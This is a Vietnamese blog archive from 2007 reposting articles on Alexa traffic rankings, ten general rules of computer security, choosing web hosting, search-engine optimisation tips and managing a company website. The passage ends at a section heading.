Một trang web được truy cập nhiều lần trong cùng một ngày bởi cùng một người chỉ được Alexa.com tính là một lần. Số lượng trang Web của một Website mà một người truy cập vào xem sẽ được tính bình quân

Alexa thống kê như thế nào?

Chỉ số Alexa Ranking xếp thứ hạng các website được truy cập thường xuyên, được thống kê dựa trên những người dùng cài đặt thanh công cụ Alexa Toolbar, một tiện ích giúp người dùng lướt web, nhất là người mới sử dụng, được dễ dàng và đa dạng hơn. Khi vào một website, thanh công cụ Alexa này sẽ hiển thị thứ hạng Ranking của website đó, đồng thời liệt kê các website có nội dung và mức độ phổ biến tương đồng. Giá trị thứ hạng của Alexa được biểu thị giống như xếp thứ học kỳ của học sinh phổ thông, tức là giá trị càng thấp thì mức độ phổ biến càng cao. Hiện tại, đã có hơn 10 triệu máy tính truy cập Internet ở mọi quốc gia trên thế giới cài đặt thanh công cụ Alexa Toolbar.

Chỉ số thứ hạng Alexa được kết hợp từ 2 yếu tố là số trang web người dùng xem (Page Views) và số người truy cập (Reach). Việc kết hợp này là một ý tưởng rất sáng tạo, vì nó loại bỏ được khả năng tạo ra các truy vấn ảo bằng các chương trình tự động. Các số liệu Page Views và Reach sẽ được thống kê theo ngày và tính giá trị trung bình trong thời gian 3 tháng gần nhất, từ đó tính ra chỉ số Alexa. Các chỉ số này được cập nhật tự động để phản ánh xu hướng thay đổi theo chu kỳ 3 ngày một lần.

Các phần mềm chống spyware có thể nhận diện Alexa Toolbar như một phần mềm gián điệp, vì nó sử dụng cookies để theo dõi toàn bộ các hoạt động truy cập website của người sử dụng. Tuy nhiên, có thể coi Alexa Toolbar là một spyware lành tính, vì nó coi người dùng như những thành viên không xác định danh tính tham gia vào việc xếp hạng các website.

Chỉ số Alexa thể hiện gì?

Theo cách thống kê trên, chỉ số Alexa của một website sẽ phản ánh số lượng người truy cập vào website đó, cũng như số lượng các trang trên website đó được những người dùng này truy cập vào.

Đây cũng là 2 yếu tố chính thể hiện mức độ phổ biến của một website, được nhiều người truy cập và có nhiều trang web được truy vấn. Đó chính là lý do các website "trưng" chỉ số Alexa Ranking lên mặt tiền trang chủ để chứng tỏ mức độ phổ biến của mình. Chỉ số Alexa cập nhật theo chu kỳ 3 ngày sẽ phản ánh sự thay đổi về thông lượng truy cập đột biến của website, còn chỉ số trung bình theo chu kỳ 3 tháng sẽ phản ánh mức độ truy cập ổn định trong cả một quý của website.

Ngoài ra, Alexa chỉ tính toán mức độ truy cập ở mức domain chính.

Trở thành thước đo chuẩn mực?

Với hơn 10 triệu máy tính cài đặt rải rác trên khắp mọi nơi trên thế giới, chỉ số Alexa trở thành một thước đo chuẩn mực trong việc đánh giá mức độ phổ biến của các website trên phạm vi toàn cầu. Tất nhiên, đây chỉ là một khái niệm mang tính tương đối, vì số người dùng Alexa Toolbar chỉ chiếm một phần rất nhỏ trong cộng đồng hiện có hơn 1 tỷ người dùng Internet toàn cầu, tương đương chỉ hơn... 1%.

Trở thành một chỉ số biểu thị giá trị, đồng nghĩa việc tăng chỉ số Alexa Ranking trở thành một mục tiêu phấn đấu, một "món hàng" có thể mua bán, trở thành một dịch vụ phổ biến. Chỉ cần truy cập vào Google.com và tìm kiếm với 3 từ khoá "Alexa + ranking + booster", một danh sách hàng ngàn phần mềm và dịch vụ kích chỉ số Alexa sẽ mời chào bạn sử dụng. Các dịch vụ tư vấn để nâng chỉ số Alexa và thứ hạng tìm kiếm trên Google cho website cũng nở rộ, vì càng phổ biến, doanh nghiệp của bạn sẽ càng tiếp cận được nhiều khách hàng tiềm năng hơn, thông qua một hệ thống liên kết vô song là Internet. Các từ khoá như Search Engine cùng Submission hay Marketing cũng dẫn tới hàng loạt dịch vụ đăng ký website vào cơ sở dữ liệu của các máy tìm kiếm phổ biến trên Internet.

Chỉ số Alexa cao và thứ hạng tìm kiếm cao trong kết quả Google cũng là 2 yếu tố tương hỗ nhau. Kết quả tìm kiếm cao trong Google sẽ làm tăng số người truy cập vào website của bạn, qua đó sẽ giúp tăng chỉ số Alexa. Chỉ số Alexa cao ngược lại cũng sẽ giúp website của bạn thường xuyên được Alexa Toolbar giới thiệu với người dùng hơn, được nhiều website đặt đường link tới hơn, và sẽ được các phần mềm tìm kiếm tự động của Google tìm thấy nhiều hơn, dẫn tới vị trí trong bảng kết quả tìm kiếm cao hơn.

Làm thế nào để tăng chỉ số Alexa?

Các dịch vụ kích và tăng chỉ số chủ yếu sẽ dựa vào việc tư vấn và thiết lập các thẻ META và từ khoá KEYWORDS trên website để thu hút các phần mềm tìm kiếm tự động (robot) ngó ngàng tới, lưu từ khoá vào cơ sở dữ liệu. Tuy nhiên, cuộc chạy đua thứ hạng và kết quả tìm kiếm không dừng lại ở đó. Có cung khắc có cầu. Các script (đoạn mã lập trình được nhúng trong nội dung html của các website và kích hoạt khi người dùng truy cập vào) chuyên về tạo các truy cập ảo bắt đầu xuất hiện. Các phần mềm chuyên dụng để kích Alexa ranking, với một danh sách hàng trăm địa chỉ IP sẵn có cũng ra đời. Chỉ cần nhập một địa chỉ Internet nào đó, hàng chục ngàn truy vấn sẽ được phần mềm gửi liên tục tới các địa chỉ IP, và không ít trong số này là các máy tính có cài đặt Alexa Toolbar. Các gói tin mà phần mềm gửi đi được thiết kế rất tinh vi, để khi tới địa chỉ IP đích, gói tin đó tiếp tục ra lệnh cho máy tính truy cập tới địa chỉ Internet của website cần kích chỉ số Alexa.

Do cách tính toán trung bình thông minh của Alexa, nên các phần mềm này thực tế không tỏ ra hiệu quả. Vài trăm địa chỉ IP không đủ để làm thay đổi thứ hạng Alexa ngay lập tức được. Nếu muốn có thay đổi đáng kể, số IP (sẽ được hiểu là người dùng web) cần huy động sẽ phải từ hàng chục tới hàng trăm ngàn, chưa kể phần mềm sẽ phải hoạt động liên tuc trong nhiều tháng trời, thậm chí là hàng năm, để cải thiện giá trị chỉ số trung bình. Tuy nhiên, hiện vẫn rất có nhiều dịch vụ trên Internet cam kết sẽ tăng chỉ số Alexa trong vòng 1-2 tháng, nếu không thành công thì... không lấy tiền.

Ý nghĩa của Alexa với website tiếng Việt?

Sau gần một tháng truy cập vào các diễn đàn của giới IT Việt Nam và nhờ "chỉ giáo", tác giả bài viết thực sự ngạc nhiên trước thái độ không mấy quan tâm của các thành viên trên diễn đàn. Có người trả lời: "Muốn tăng Alexa Ranking thi DOS (tấn công từ chối dịch vụ) nhẹ cho nó vài phát là tăng chỉ số ngay ấy mà". Tuy nhiên, theo nhận xét của một số chuyên gia có tìm hiểu về Alexa, phương thức này có vẻ không hiệu quả và đã được Alexa lường trước.

Đa phần các webmaster (người quản lý các website) cho rằng nếu để đánh giá các website tiếng Anh, thì Alexa có thể là một chỉ số phản ánh khá chính xác. Tuy nhiên, nếu như với các ngôn ngữ khác như tiếng Việt, thì Alexa chỉ là một giá trị tham số phản ánh một phần, chưa chính xác.

Hơn 10 triệu máy tính cài đặt Alexa Toolbar trên toàn cầu là nguồn cung cấp thông tin chính để đánh giá các website. Tuy nhiên, số lượng các máy tính cài đặt thanh công cụ này tại Việt Nam chưa đáng là bao, đơn giản vì Amazon.com chưa có kênh bán hàng trực tuyến tới Việt Nam. Hơn nữa, các máy tính từ quốc gia khác truy cập tới các website tiếng Việt cũng là thiểu số, vì chủ yếu là của những người Việt có khả năng đọc hiểu Việt ngữ.

Theo số liệu thống kê mới nhất của VNNIC, dân số Internet Việt Nam đã đạt mức 6,5 triệu người. Nếu so sánh đơn giản, thì số người dùng Internet truy cập các website tiếng Việt từ nước ngoài (có sử dụng Alexa Toolbar) chỉ chiếm một tỷ lệ rất nhỏ so với người dùng Internet Việt Nam. Phần lớn các máy tính kết nối Internet trong nước đều chưa cài Alexa Toolbar, nên chỉ số Alexa chưa thể phản ánh chính xác được hoạt động truy cập của các website tiếng Việt.

Các đại gia quảng cáo trực tuyến ở Việt Nam luôn dựa vào Alexa.com để thuyết phục khách hàng với kênh quảng cáo website công ty tôi có thư hạng từ 10 - 500. Đó cũng là tín hiệu khả quan của kênh truyền thông trực tuyến Việt Nam .

(Theo iGuru)

Mười quy tắc then chốt về an toàn và bảo mật

2007-10-03T14:42:00.001+07:00

1. Nếu một người nào đó có thể thuyết phục bạn chạy chương trình của anh ta trên máy tính của bạn, nó sẽ không còn là máy tính của bạn nữa

Nó chính là một trường hợp đáng tiếc của hệ thống máy tính: khi một chương trình máy tính chạy, nó sẽ thực hiện phần việc đã được lập trình, thậm chí nếu phần việc đã được lập trình gây nguy hiểm cho hệ thống máy tính. Đó chính là lí do tại sao thật là quan trọng khi chạy, thậm chí download một chương trình từ một tài nguyên không chứng thực. Nếu một người xa lạ đi tới bạn và đưa cho bạn một chiếc bánh sandwich, vậy liệu bạn có ăn nó không? Có lẽ là không. Nếu người bạn thân nhất của bạn đưa bạn chiếc bánh đó thì sao? có lẽ bạn sẽ ăn, có lẽ bạn sẽ không - điều này phụ thuộc vào liệu cô ấy làm nó hay tìm thấy nó trên phố. Việc lựa chọn sử dụng một chương trình cũng giống như bạn với chiếc bánh sandwich, điều này sẽ giúp bạn an toàn với hệ thống máy tính của bạn.

2. Nếu một người nào đó có thể sửa đổi hệ điều hành trên máy tính của bạn, nó sẽ không còn là máy tính của bạn nữa

Nhìn chung, hệ điều hành chỉ là một tập của các con số 1 và con số 0, khi được dịch bởi bộ vi xử lí. Việc thay đổi các con số 1 và số 0, nó sẽ làm cho một vài thứ khác đi. Nơi nào các con số 1 và số 0 này được lưu? Tại sao, trên hệ thống máy, thứ tự các con số luôn đi cùng với mọi thứ khác. Chúng chỉ là các file, và nếu một người nào khác có thể sử dụng hệ thống và được quyền thay đổi các file đó, điều này có nghĩa là hệ thống của bạn đã chết.

Anh ta có thể ăn cắp password, tạo cho anh ta có quyền quản trị hệ thống, hay thêm toàn bộ các chức năng mới tới hệ điều hành. Để ngăn cản kiểu tấn công này, phải đảm bảo chắc chắn rằng các file hệ thống được bảo vệ tốt nhất.

3. Nếu một người nào đó truy cập vật lí không hạn chế tới máy tính của bạn, nó sẽ không còn là máy tính của bạn nữa

Luôn luôn đảm bảo chắc chắn rằng một máy tính được bảo vệ về mặt vật chất, và nhớ rằng giá trị của hệ thống bao gồm không chỉ giá trị của bản thân phần cứng, mà còn giá trị của dữ liệu trên nó, và giá trị truy cập tới mạng của bạn mà người lạ đó có thể truy cập vào.

Mức tối thiểu, các hệ thống thương mại quan trọng như các điều khiển vùng (domain controller), các máy chủ cơ sở dữ liệu (database server) và các máy chủ dịch vụ in hay máy chủ chia se file nên được khoá mà chỉ cho phép người có quyền quản trị bảo trì và truy cập. Nhưng bạn có thể xem xét việc bảo vệ các hệ thống tốt hơn với các phương thức bảo vệ được thêm vào cho mỗi hệ thống.

4. Nếu bạn cho phép một người nào đó đẩy các chương trình tới website của bạn. Nó sẽ không còn là website của bạn

Điều này dựa trên luật 1, trong luật này người nào đó dùng thủ đoạn tiếp cận với nạn nhân trong khi download chương trình có hại trên hệ thống của anh ta và chạy nó. Còn trong trường hợp này, anh ta sẽ đẩy chương trình có hại tới hệ thống và chạy nó. Có rất nhiều người khi quản lý website quá ưu đãi với khách hàng của họ, và cho phép các vị khách có thể đẩy các chương trình tới site và chạy chúng. Điều này có thể dẫn tới hệ thống bị xâm phạm.

5. Các mật khẩu dễ nhận có thể làm hỏng hệ thống bảo mật mạnh

Mục đích của việc đăng nhập vào máy là để biết bạn là ai. Ban đầu, hệ điều hành biết bạn là ai, nó có thể cho phép ban truy cập tài nguyên hay từ chối. Nếu một người nào đó học được mật khẩu của bạ, anh ta có thể đăng nhập như bạn. Trong thực tế, nếu anh ta thành công, hệ thống máy sẽ coi anh ta là bạn. Bất kì bạn có thể thao tác gì với hệ thống, anh ta cũng có thể làm như vậy. Có lẽ bạn có các quyền trên mạng hơn anh ra và bạn có thể làm những thao tác mà anh ta bình thường anh ta không thể thực hiện. Hay có thể anh ta chỉ muốn làm một điều gì đó có ác ý hay đe doạ bạn. Trong bất kì trường hợp nào, tốt nhất nên bảo vệ mật khẩu của bạn.

6. Một hệ thống chỉ có độ an toàn như sự tin tưởng nhà quản trị

Mọi máy tính phải có một nhà quản trị: là một người nào đó có thể cài đặt chương trình phần mềm, cấu hình hệ điều hành, thêm và quản lí các account của user, thiết lập các chính sách về bảo mật, và điều khiển các thao tác quản lí được liên kết với việc giữ cho máy tính chạy tốt. Theo định nghĩa, các thao tác này đòi hỏi anh ta có toàn quyền với hệ thống. Điều này đặt nhà quản trị trong một vị trí rất quan trọng với hệ thống. Với một nhà quản trị không đáng tin cậy có thể loại bỏ hoàn toàn các quy chế về an toàn bảo mật mà bạn đã tạo ra. Anh ra có thể thay đổi quyền trên hệ thống, sửa các chính sách bảo mật của hệ thống, cài đặt các chương trình có hại vào trong hệ thống, thêm các user không có thật vào trong hệ thống hay làm bất kì điều gì với hệ thống. Anh ta có thể làm hỏng hệ thống ảo và bảo vệ của hệ điều hành, bởi vì anh ta điều khiển nó. Nếu bạn có một nhà quản trị không mấy tin tưởng, bạn có thể không có chế độ bảo mật.

7. Dữ liệu được mã hoá chỉ như chìa khoá giải mã

Giả như bạn vài đặt một hệ thống khoá lớn nhất, mạnh nhất, có độ bảo mật tốt nhất trên thế giới cho hệ thống của bạn, nhưng bạn phải đặt mã để mở được hệ thống đó. Nó sẽ thực sự là mạnh như thế nào, điều này còn phụ thuộc vào chìa khoá cho hệ thống khoá đó. Nếu chìa khoá quá giản đơn với hệ thống được bảo vệ, kẻ trộm có thể tìm ra nó. Vậy anh ta đã có mọi thứ để mở cánh cửa đó. Dữ liệu được mã hoá cũng chỉ an toàn như chìa khoá để giải mã nó.

8. Một hệ thống quét virus hết hạn thì cũng còn tốt hơn không có hệ thống diệt virus nào.

Các hệ thống quét virus làm việc được so sánh như hệ thống máy tính của bạn đối chọi với một loại virus được đăng kí. Mỗi một chữ kí là kí tự của một virus đặc biệt, và khi hệ thống quét tìm dữ liệu trong một file, email, hay bất kì đâu mà điền chữ kí. nó thông báo rằng đã tìm thấy virus. Tuy nhiên, một hệ thống quét virus có thể chỉ quét cho các virus mà nó đã biết. Điều này thật cần thiết cho hệ thống của bạn được cập nhật thường xuyên hệ thống diệt virus vào mọi ngày.

9. Tình trạng dấu tên hoàn toàn không thực tế

Toàn bộ loài người ảnh hưởng lẫn nhau bao hàm việc trao đổi dữ liệu về mọi mặt. Nếu một người nào đó đưa ra đủ dữ liệu, họ có thể mô tả được bạn. Hãy nghĩ về toàn bộ thông tin mà một người có thể thu được chỉ trong một cuộc hội thoại ngắn với bạn. Chỉ một cái liếc mắt, họ có thể phán đoán chiều cao, số cân, hay tuổi xấp xỉ mà bạn có. Giọng của bạn có thể nói cho họ biết rằng bạn từ đâu đến, và có thể thậm chí nói cho họ biết một vài điều về gia đình bạn, sở thích của bạn, nơi bạn sống, và bạn đang làm gì để kiếm sống. Điều đó không mất nhiều thời gian cho bất kì ai muốn thu lượm thông tin để mô tả bạn là ai. Nếu bạn ao ước được giấu mặt hoàn toàn, cách tốt nhất là sống trong hang động và tránh xa tiếp xúc với loài người.

10. Công nghệ không phải là tất cả

Công nghệ có thể làm một vài điều gây kinh ngạc cho mọi người. Những năm gần đây chúng ta đã được nhìn thấy sự phát triển tột bậc trong cả phần cứng cũng như phần mềm như: phần cứng rẻ đi và có nhiều tính năng mới, phần mềm cũng phát triển song song với phần cứng như tạo các tiêu chuẩn mới trong vấn đề an toàn và bảo mật v các ngành khoa học khác liên quan tới máy tính. Nó mở ra viễn cảnh mà công nghệ có thể tạo ra một thế giới mới với tính năng an toàn bảo mật tuyệt đối, nếu chúng ta làm việc chăm chỉ. Tuy nhiên, điều này là không thực tế.

Giải pháp là thừa nhận hai điểm mang tính bản chất. Điểm thứ nhất, an toàn bảo mật bao gồm cả công nghệ và chính sách, có nghĩa là, nó kết hợp công nghệ và hệ thống của bạn an toàn đến đâu với các vấn đề thuộc bản chất. Điểm thứ hai, an toàn bảo mật là một quá trình, không có kết thúc, nó không phải là một vấn đề mà có thể giải quyết một lần cho tất cả; nó là một tập các vấn đề luôn tồn tại và các biện pháp giữa người mang tính bảo vệ và người mang tính phá hoại.

Theo Media

Tìm hosting cho website: dễ hay khó?

2007-10-03T12:02:00.002+07:00

Nhu cầu mở website của các cá nhân và công ty ngày càng phát triển. Thế nhưng chủ nhân của những website nhỏ này thường phải bằng lòng với những hãng đặt chỗ (hosting) web giá thấp với chất lượng dịch vụ không mấy đảm bảo.

Và bài viết này xin giới thiệu một số kinh nghiệm... đau thương trên con đường đi tìm dịch vụ hosting.

Host nội chất lượng cao: giá trên cao!

VDC và FPT là hai công ty tin học hàng đầu VN có dịch vụ lưu trữ web chất lượng khá ổn định. Tuy nhiên, những công ty nhỏ và các nhà phát triển web độc lập thường phải cân nhắc khá lâu nếu muốn thuê host của họ.

VDC đưa ra mức giá nhiều nấc theo kiểu càng dùng nhiều càng rẻ: nếu khách hàng muốn thuê chỗ đặt trang web có dung lượng 50 MB sẽ phải trả mức phí hằng tháng như sau: 35.000đ x 10 MB đầu + 30.000đ x 20 MB tiếp theo + 25.000đ x 20 MB tiếp theo. Trong khi đó, FPT tính giá theo các gói dịch vụ, và để thuê một host dung lượng 50 MB người dùng phải trả 649.000đ/tháng.

Cả hai công ty đều không tính phí trên lượng dữ liệu truyền, nhưng thật ra với những host nhỏ như thế này thông số ấy là không đáng kể. Còn về giá cả, với các thông số kỹ thuật tương đương, giá cho thuê host của FPT đắt gấp 10 lần và giá của VDC đắt gấp 15 lần so với những công ty hosting nước ngoài được đánh giá cao trên website công nghệ thông tin có uy tín www.cnet.com.

Host giá rẻ: đoạn trường ai có qua cầu mới hay

Anh Đỗ Thế Nghĩa - trưởng nhóm phát triển Thiệp Việt (http://www.thiepviet.com), trang thiệp điện tử đa phương tiện hàng đầu VN hiện nay - đã quá thấm thía nỗi gian khổ của hành trình đi tìm “ngôi nhà” cho đứa con tinh thần của mình.

Giữa tháng sáu, Thiệp Việt bắt đầu thuê một host nhỏ dung lượng 100 MB của một công ty để chạy thử và hoàn thiện phần mềm xuất bản web. Gói dịch vụ của công ty này rẻ đến mức không thể rẻ hơn (0,85 USD/tháng). Và tiền nào của nấy, host chết lên chết xuống, với thời gian uptime (người dùng truy cập được) chỉ vào khoảng trên dưới 90% chứ không phải 99,9% như công ty cam kết.

Tới đầu tháng chín, khi phần nội dung của website Thiệp Việt bắt đầu phát triển và nhóm vừa chuyển sang mua gói dịch vụ B với dung lượng host 300 MB để mở rộng chương trình thử nghiệm thì đột nhiên công ty này cắt dịch vụ mà không hề cho biết lý do. Khi anh Nghĩa liên hệ với phòng hỗ trợ kỹ thuật thì được giải thích: “Website của anh gửi spam nên chúng tôi ngừng cấp dịch vụ mà không cần báo trước”!

Nắm bắt được nhu cầu thuê host giá thấp của số đông doanh nghiệp nhỏ và các nhà phát triển web độc lập, nhiều công ty, thậm chí cả các cá nhân, cũng nhảy vào thị trường hosting.

Thực chất, họ chỉ là người bán lẻ (reseller) của các công ty cho thuê host quốc tế.

Để bán dịch vụ, họ chỉ cần có thẻ tín dụng, thuê một gói reseller plan hoặc cao cấp hơn thì thuê một máy chủ tận bên… trời Tây, đăng quảng cáo khắp các trang rao vặt miễn phí và bắt đầu kinh doanh.

Vận rủi chưa buông tha Thiệp Việt. Khi chuyển sang thuê host của Advanced Network Hosts với giá 12 USD/tháng chỉ down (không truy cập được) đúng một lần trong hơn một tháng qua và điều đó cũng đủ làm nhóm khốn đốn.

Lý do: một user khác thuê chung server gửi spam với số lượng cực lớn, ngốn hết 100% tài nguyên máy chủ khiến từ đó email gửi ra từ server này bị Yahoo Mail đánh dấu spam, đưa hết vào hộp thư Bulk Mail và những cánh thiệp của Thiệp Việt cũng cùng chung số phận.

Chưa hết, vì số người truy cập tăng gấp hàng chục lần so với dự kiến của nhóm nên chỉ vài hôm sau Ngày phụ nữ Việt Nam 20-10, website Thiệp Việt đã dùng hết hạn mức gần 100 GB dữ liệu truyền và bị treo tới tận đầu tháng mười một.

Để tránh rắc rối, mặc dù chưa kết thúc giai đoạn thử nghiệm, nhóm Thiệp Việt cũng quyết định đầu tư lớn để sử dụng máy chủ thuê riêng (dedicated server).

Trường hợp của Công ty cổ phần sản phẩm Sinh Thái mới thật sự dở khóc dở cười. Năm 2003, họ thuê một công ty thực hiện trọn gói bao gồm đăng ký tên miền www.cozy-tea.com, thiết kế website và hosting với chi phí 3 triệu đồng.

Khi Sinh Thái không hài lòng với chất lượng dịch vụ được cung cấp, họ tìm thuê host khác và đề nghị công ty này trỏ tên miền sang đó, câu trả lời mà họ nhận được là: “Một phó giám đốc cũ là người quản lý tên miền này và anh ấy đã chuyển sang công ty khác”. Kết quả là Sinh Thái mất trắng tên miền, buộc phải bắt đầu lại cuộc chơi Internet từ đầu với một tên miền khác.

Vẫn có host với giá cả và dịch vụ hợp lý

Trước hết, cần xác định rõ mục đích và quy mô của site, với các yếu tố then chốt như dung lượng ổ cứng và lưu lượng dữ liệu truyền mỗi tháng. Dung lượng ổ cứng cần thiết thay đổi tùy theo tính chất của site, còn băng thông tiêu thụ có thể tính như sau: lấy số người dự kiến sẽ truy cập site hằng ngày nhân với số trang mỗi người xem, nhân tiếp với dung lượng trung bình của một trang và số ngày trong tháng.

Ví dụ, site của bạn có 1.000 người truy cập mỗi ngày, mỗi người xem bình quân năm trang và mỗi trang có dung lượng 50 KB thì bạn sẽ cần lượng dữ liệu truyền: 1.000 x 5 x 50 KB x 30 = 7.500.000 KB, tức 7,5 GB mỗi tháng.

Tiếp đó, bạn nên vào các diễn đàn quản trị và những tạp chí công nghệ thông tin có uy tín như www.pcworld.com hay www.cnet.com để tham khảo về các thông số kỹ thuật cũng như dịch vụ của các công ty cho thuê host.

Nếu chưa tin tưởng ở nhận xét của các tạp chí chuyên ngành này (vì có thể đây là một dạng quảng cáo), bạn có thể vào các trang web như: www.webhostscompare.com hay www.findmyhost.com..., nơi các quản trị như bạn đánh giá về chất lượng dịch vụ của các công ty cho thuê host, và trên cơ sở đó có thể đưa ra quyết định lựa chọn nhà cung cấp phù hợp.

MINH PHI - THÙY MINH
Tuoi Tre Online

10 lời khuyên khi lập website cho doanh nghiệp

2007-10-03T12:02:00.001+07:00

Số lượng truy cập sẽ tăng lên nhiều nếu trang web của bạn được người truy cập dễ dàng tìm thấy trong vô vàn những trang web trên mạng. Muốn làm được điều đó trang web của bạn phải nằm ở vị trí từ 1 – 30 trên Google ứng với một từ khoá nhất định.

Bài viết này cung cấp cho bạn 10 yếu tố cơ bản về tối ưu hóa một trang web với bộ máy tìm kiếm.

1. Xác định cấu trúc website

Trước tiên bạn cần phác họa sơ qua nội dung các mục chính của trang web. Từ đó bạn có thể xác định trang web của bạn cần có những gì và hình thức ra sao. Ví dụ, một trang web về sách kinh tế, bạn cần có những mục riêng cho những loại sách khác nhau như : tiếp thi , quản trị , tài chính kế toán , luật , xuất nhập khẩu v.v... Tiếp đó bạn lại nghỉ tới những mục con , như trong sách tiếp thị có tiếp thị cơ bản , tiếp thị quốc tế , nghiên cứu thị trường , quảng cáo , tiếp thị trực tiếp ...

2. Nội dung trang web luôn quan trọng

Bạn cần phải tìm hiểu cách thức mà thị trường sẽ tìm kiếm sản phẩm của bạn. Cần tìm ra những giả thiết khác nhau , thử nghiệm và điều chỉnh sao cho hợp lý. Để trang web nằm ở top 10 trong kết quả tìm kiếm , bạn cần phải có sự chuẩn bị kĩ càng và phương pháp kỹ thuật tốt.

Cần quan tâm đến cả hai phương diên: nội dung phải phù hợp với người truy cập và nội dung đó bố trí như thế nào để phù hợp với bộ máy tìm kiếm.

3. Xác định tiêu đề, từ khoá, và mô tả nội dung trang web

Meta Tags ( thẻ siêu dữ liệu ) bao gồm 3 loại chủ yếu là tiêu đề , từ khoá và phần mô tả trang web. Tiêu đề được đánh giá là quan trọng nhất trong 3 loại meta tags. Nó không chỉ giúp thu hút tỉ lệ truy cập thông qua kết quả tìm kiếm mà còn ảnh hướng tới bộ máy tìm kiếm với từ khoá hay nhóm từ thích hợp.

Nên đặt tiêu đề bao gồm từ khóa mà bạn muốn định vị cho trang web của mình. Meta tags nên được chọn lựa từ những từ khóa liên quan đến nội dung trang web và xuất hiện trong phần nôi dung.

Số lần xuất hiện của từ khóa trong một trang web không nên quá 3 lần , vì nhiều hơn thì hiệu quả cũng không được cải thiện . Meta Tags mô tả cũng quan trọng vì nhiều bộ máy tìm kiếm quan tâm đến loại tag này và nó như một mô tả tổng thể nội dung website giúp người truy cập dễ dàng chọn lựa trang web phù hợp với nội dung mình cần tìm.

4. Cẩn thận đối với việc sử dụng một số phương pháp kỹ thuật

Điều hết sức quan trọng là bạn cần thiết kế sao cho “con nhện” (web spider - spiderbot) của các máy tìm kiếm có thể tìm thấy các mục chính một cách dễ dàng nhất. Vì vậy việc lạm dụng các kỹ thuật thiết kế như flash, frame sẽ gây khó khăn cho bộ máy tìm kiếm đọc dữ liệu của trang web. Vì vậy vị thứ của trang web cũng sẽ bị hạn chế. Nói cụ thể hơn là khi sử dụng flash hoặc frame, người truy cập sẽ nhìn thấy được nội dung, nhưng các bộ máy tìm kiếm thì sê không thể đọc được nội dung và xem nó như là một trang trắng.

5. Làm sơ đồ trang web (site map)

Thiết kế sơ đồ trang web sẽ giúp ích cho cả người truy cập lẫn các con nhện tìm kiếm. Cách sắp xếp hợp lý các đường liên kết HTML bao gồm cả từ khóa hiệu quả (ví dụ thay vì sử dụng từ khóa “quần áo” một cách chung chung nên sử dụng từ khóa phù hợp với một đối tượng nào đó như “quần áo trẻ em”). Sơ đồ trang web này phải được thiết kế để nối kết toàn bộ trang web.

6. Giữ cho trang web gọn nhẹ

Để góp phần tối ưu hóa bộ máy tìm kiếm, các trang link từ trang chủ chỉ nên có từ 350 đến 550 từ. Khi nội dung của một trang quá dài, bạn nên chia thành nhiều trang khác nhau , tuy vậy nên giữ nguyên cách trình bày (layout) ban đầu. Có một số bộ máy tìm kiếm thường bỏ qua những trang vượt quá 100 Kb. Vì thế bạn cần tìm cách giảm thiểu dung lượng của trang web.

7. Luôn đảm bảo tính thống nhất

Thiết kế trang web sao cho những con nhện (spiderbot) tìm kiếm được nội dung một cách dễ dàng. Đối với các hình ảnh trong trang web, bạn nên đặt tên phù hợp với nội dung của trang web và từ khoá riêng của từng trang. Các mục tiêu về tối ưu hoá bộ máy tìm kiếm cần được thống nhất xuyên suốt trang web của bạn – mỗi trang cần được xem như một ngõ vào tiềm năng từ các bộ máy tìm kiếm.

8. Tìm hiểu về đối thủ cạnh tranh

Thông thường người ta hay tự hoàn chỉnh trang web của mình để có thứ vị cao hơn. Tuy nhiên , để có hiệu quả cao hơn bạn nên nghiên cứu các trang web có thứ vị cao cùng với từ khóa của chúng để hiểu được họ đang làm gì và tại sao các trang web này lại có vị thứ cao. Nên tạo ra một “bảng so sánh đối thủ cạnh tranh”, liệt kê một số đối thủ cạnh tranh hàng đầu với một vài nhóm từ khóa đặc trưng cho thị trường hàng hóa hay dịch vụ kinh doanh của bạn.

9. Xây dựng , đo lường và hiệu chỉnh

Nếu bạn thực sự coi trọng vị trí trang web của bạn trong các bộ máy tìm kiếm thì bạn cần chuẩn bị một số những thay đổi và điều chỉnh sao cho thật hợp lý. Và để biết được công việc của bạn có hiệu quả không lại cần một khoảng thời gian tương đối dài, có thể là 6 tháng. Bạn cần xây dựng trang web với mục tiêu là tạo thuận lợi cho cả những người truy cập và những con nhện tìm kiếm.

Hãy kiểm tra xem bạn có cung cấp đầy đủ thông tin cho người truy cập và bộ máy tìm kiếm không , xem xét liệu các đối thủ cạnh tranh có làm tốt hơn bạn không?

10. Nên tập trung vào một số bộ máy tìm kiếm nhất định

Bạn nên thận trọng đối với việc đưa trang web lên quá nhiều bộ máy tìm kiếm. Để có một thứ vị cao trên một bộ máy tìm kiếm cần phải có sự hoạch định kĩ lưỡng , định hướng rõ ràng cùng với việc sử dụng các đoạn mã chứ không phải là việc đăng ký ồ ạt các bộ máy tìm kiếm. Bạn cần biết cách đọc xem bao nhiêu người truy cập trang web, lượng truy cập thông qua từng bộ máy tìm kiếm.

Theo PC World

Quản trị website- Doanh nghiệp cần biết những gì?

2007-10-03T11:58:00.001+07:00

Nói tóm tại, một website tốt có thể giúp doanh nghiệp quảng bá sản phẩm và tìm kiếm đối tác thông qua nhiều kênh tiếp cận, không lệ thuộc nhiều vào không gian và cả thời gian. Tuy nhiên, điều đáng nói là đã có không ít các doanh nghiệp xây dựng website rồi… bỏ đấy. Lãng phí không ít nguồn lực rút cục chỉ để cho… oai. Bài viết xin giới thiệu một số kinh nghiệm để tận dụng tốt website doanh nghiệp.

Nhớ in địa chỉ website trên… name card

Card visit của bạn có tên, số điện thoại liên lạc, địa chỉ công ty và email- đương nhiên rồi! Tuy nhiên, hãy tăng tính chuyên nghiệp bằng khoảng không dành cho địa chỉ website của doanh nghiệp. Đối với các đối tác tiềm năng, việc gọi điện trực tiếp để hỏi thông tin từ bạn đôi lúc không phải là giải pháp. Hãy tạo điều kiện cho họ tìm hiểu thông tin về công ty của bạn một cách tự nhiên và hoàn toàn khách quan.

Chuyên môn hoá công đoạn “làm mới” trang tin

Người truy nhập vào một website với mục đích tìm kiếm thông tin. Website của bạn sẽ không thể níu chân người truy nhập nếu không thường xuyên được cập nhật những thông tin mới. Chính vì vậy, bên cạnh mảng nội dung tự quảng bá, bạn nên khéo léo lồng thêm những mảng thông tin mang tính thời sự- đặc biệt ưu tiên thông tin có liên quan tới lĩnh vực kinh doanh của mình. Kinh nghiệm, hãy đầu tư phân công riêng nhân lực trịu trách nhiệm bảo trì, cập nhật thông tin. Trường hợp UBND tỉnh Nam Định ký hợp đồng với cty tư nhân Elinco để cập nhật website namdinh.gov.vn là một bài học để các doanh nghiệp xem xét.

Không ngừng tiến hành các hoạt động marketing trực tuyến

